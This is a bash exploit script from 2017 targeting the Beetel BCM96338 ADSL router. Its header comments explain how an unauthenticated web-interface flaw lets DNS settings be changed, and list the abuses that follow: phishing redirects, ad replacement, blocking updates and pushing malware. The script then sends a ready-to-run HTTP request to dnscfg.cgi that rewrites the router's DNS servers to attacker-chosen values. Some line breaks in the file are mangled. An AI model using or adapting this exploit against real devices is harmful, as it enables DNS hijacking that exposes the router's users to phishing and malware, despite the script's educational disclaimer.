#!/bin/bash## Beetel BCM96338 ADSL Router# Unauthenticated Remote DNS Change Exploit##Copyright 2017 (c) Todor Donev <todor.donev at gmail.com>#https://www.ethical-hacker.org/#https://www.facebook.com/ethicalhackerorg##Description:#The vulnerability exist in the web interface, which is #accessible without authentication. ##Once modified, systems use foreign DNS servers,which are #usually set up by cybercriminals. Users with vulnerable #systems or devices who try to access certain sites are #instead redirected to possibly malicious sites.##Modifying systems' DNS settings allows cybercriminals to #perform malicious activities like:##oSteering unknowing users to bad sites: # These sites can be phishing pages that # spoof well-known sites in order to # trick users into handing out sensitive # information.##oReplacing ads on legitimate sites: # Visiting certain sites can serve users # with infected systems a different set # of ads from those whose systems are # not infected.# #oControlling and redirecting network traffic: # Users of infected systems may not be granted # access to download important OS and software # updates from vendors like Microsoft and from # their respective security vendors.##oPushing additional malware: # Infected systems are more prone to other # malware infections (e.g., FAKEAV infection).##Disclaimer:#This or previous programs is for Educational #purpose ONLY. Do not use it without permission. #The usual disclaimer applies, especially the #fact that Todor Donev is not liable for any #damages caused by direct or indirect use of the #information or functionality provided by these #programs. The author or any Internet provider #bears NO responsibility for content or misuse #of these programs or any derivatives thereof.#By using these programs you accept the fact #that any damage (dataloss, system crash, #system compromise, etc.) caused by the use #of these programs is not Todor Donev's #responsibility.# #Use them at your own risk!##if[[ $# -gt 3 || $# -lt 2 ]]; then
echo " Beetel BCM96338 ADSL Router "
echo " Unauthenticated Remote DNS Change Exploit"
echo "==================================================================="
echo "Usage: $0 <Target> <Primary DNS> <Secondary DNS>"
echo "Example: $0 133.7.133.7 8.8.8.8"
echo "Example: $0 133.7.133.7 8.8.8.8 8.8.4.4"
echo ""
echo "Copyright 2017 (c) Todor Donev <todor.donev at gmail.com>"
echo "https://www.ethical-hacker.org/ https://www.fb.com/ethicalhackerorg"
exit;
fi
GET=`which GET 2>/dev/null`
if[ $? -ne 0]; then
echo "Error : libwww-perl not found =/"
exit;
fi
GET -e "http://$1/dnscfg.cgi?dnsPrimary=$2&dnsSecondary=$3&dnsDynamic=0&dnsRefresh=1"0&>/dev/null <&1
